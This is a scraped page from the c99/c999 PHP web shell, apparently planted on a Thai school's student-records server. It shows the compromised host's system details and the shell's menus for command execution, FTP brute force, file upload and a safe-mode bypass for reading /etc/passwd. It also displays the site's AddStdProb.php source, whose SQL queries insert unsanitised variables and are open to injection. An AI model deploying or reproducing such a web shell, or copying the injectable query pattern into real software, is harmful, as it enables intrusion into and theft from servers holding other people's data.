!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddStdProb.php (8.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../includes/FunctionDB.php");
include(
"admin_menu.php");
include(
"../includes/Function.php");
ConnectDB();
  
$sql "Select * From StudentMaster  Where studentId = '$studentId'  AND studentStatus ='1' ";
   
$result mysql_query($sql) or die("Error".mysql_error());
   
$rs mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {font-size: 14px}
-->
</style>
<table width="812" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="812" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Std_Acc.php">˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="StdProbDetail.php?studentCode=<? echo $rs[studentCode]?>">¢éÍÁÙŹѡÈÖ¡ÉÒ·ÕèÁջѭËÒ</a> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditStdProbDetail.php?studentCode=<? echo $rs[studentCode]?>">á¡é䢢éÍÁÙŹѡÈÖ¡ÉÒ·ÕèÁջѭËÒ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> ºÑ¹·Ö¡¢éÍÁÙŻѭËҹѡÈÖ¡ÉÒ</font></legend>
            <form id="form1" name="form1" method="post" action="InsertAdvice.php">
            <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></div>
            <table width="87%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" bgcolor="#CCCCCC">
              
              <tr bgcolor="#EEEEEE">
                <td bgcolor="#EBFAFE"><div align="center" class="style2"><font color="#003366" face="Tahoma">ÃËÑʹѡÈÖ¡ÉÒ</font></div></td>
                <td bordercolor="#006699" bgcolor="#EBFAFE">&nbsp;</td>
                <td colspan="2" bordercolor="#006699" bgcolor="#EBFAFE"><strong><font color="#993333" size="2" face="Tahoma"><? echo $rs[studentCode]?>&nbsp;</font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td width="24%" bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">ª×èÍ</font></div></td>
                <td width="0%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td colspan="2" bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003300" size="2" face="Tahoma">
                  <?php
               $prefixId 
=  $rs[prefixId];
               
$sql3"Select * From Prefix  Where prefixId='$prefixId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"$rs3[prefixName]";
               
?>
                </font><font color="#990099" size="2" face="Tahoma">
                <?=$rs["studentName"]?>
                <?=$rs["studentSurname"]?>
                </a></font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td bgcolor="#EBFAFE"><div align="center" class="style2"><font color="#003366" face="Tahoma">»Ñ­ËÒ</font></div></td>
                <td bordercolor="#006699" bgcolor="#EBFAFE">&nbsp;</td>
                <td colspan="2" bordercolor="#006699" bgcolor="#EBFAFE"><font size="2" face="Tahoma">
                  <input type="radio" name="Problem" value="1" />
                  ÁÕ
                  <input type="radio" name="Problem" value="0" />
                  äÁèÁÕ</font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td rowspan="5" bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">»ÃÐàÀ·»Ñ­ËÒ</font></div></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><div align="center" class="style2"><font face="Tahoma">ÃÒÂÅÐàÍÕ´»Ñ­ËÒ</font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td width="15%" bordercolor="#006699" bgcolor="#EBFAFE"><font size="2" face="Tahoma">
                  <input name="Prob1" type="checkbox" id="Prob1" value="¡ÒÃàÃÕ¹" />
                  ¡ÒÃàÃÕ¹</font></td>
                <td width="61%" bordercolor="#006699" bgcolor="#EBFAFE"><font size="2" face=" Tahoma">
                  <input name="Prob_detail1" type="text" id="Prob_detail1" size="60" />
                </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <input name="Prob2" type="checkbox" id="Prob2" value="àÈÃÉ°¡Ô¨" />
                  àÈÃÉ°¡Ô¨</font></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Prob_detail2" type="text" id="Prob_detail2" size="60" /></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#EBFAFE"><font size="2" face="Tahoma">
                  <input name="Prob3" type="checkbox" id="Prob3" value="ÊØ¢ÀÒ¾" />
                  ÊØ¢ÀÒ¾</font></td>
                <td bordercolor="#006699" bgcolor="#EBFAFE"><input name="Prob_detail3" type="text" id="Prob_detail3" size="60" /></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <input name="Prob4" type="checkbox" id="Prob4" value="ÊèǹµÑÇ" />
                  ÊèǹµÑÇ</font></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Prob_detail4" type="text" id="Prob_detail4" size="60" /></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bgcolor="#EBFAFE"><div align="center" class="style2"><font color="#003366" face="Tahoma">ÇÔ¸Õ¡ÒÃá¡é»Ñ­ËÒ/¤Óá¹Ð¹Ó</font></div></td>
                <td bordercolor="#006699" bgcolor="#EBFAFE">&nbsp;</td>
                <td colspan="2" bordercolor="#006699" bgcolor="#EBFAFE"><p>
                    <textarea name="Recom" cols="60" rows="5" id="Recom"></textarea>
                    <font size="2" face="Tahoma"> </font></p></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">Çѹ·ÕèÁÒ¾º</font></div></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td colspan="2" bordercolor="#006699" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <select name="mDate" id="mDate">
                    <? getDay1to31()?>
                  </select>
                  à´×͹
                  <select name="mMonth" id="mMonth">
                    <? getThaiMonth()?>
                  </select>
                  »Õ ¾.È.
                  <input name="mYear" type="text" id="mYear" size="5" maxlength="4" />
                </font></td>
              </tr>
              <tr bgcolor="#B8ECB3">
                <td colspan="4" bgcolor="#FFFFFF"><div align="center">
                  <input type="submit" name="Submit3" value="    à¾ÔèÁ    " />
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  <input type="reset" name="Submit" value="   à¤ÅÕÂÃì   " />
                  <input name="studentCode" type="hidden" id="studentCode" value="<? echo $rs[studentCode]?>" />
                  <input name="prefixId" type="hidden" id="prefixId" value="<? echo $rs[prefixId]?>" />
                  <input name="studentName" type="hidden" id="studentName" value="<? echo $rs[studentName]?>" />
                  <input name="studentSurname" type="hidden" id="studentSurname" value="<? echo $rs[studentSurname]?>" />
                  <input name="officerId1" type="hidden" id="officerId1" value="<? echo $rs[officerId1]?>" />
                </div></td>
              </tr>
            </table>
          </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--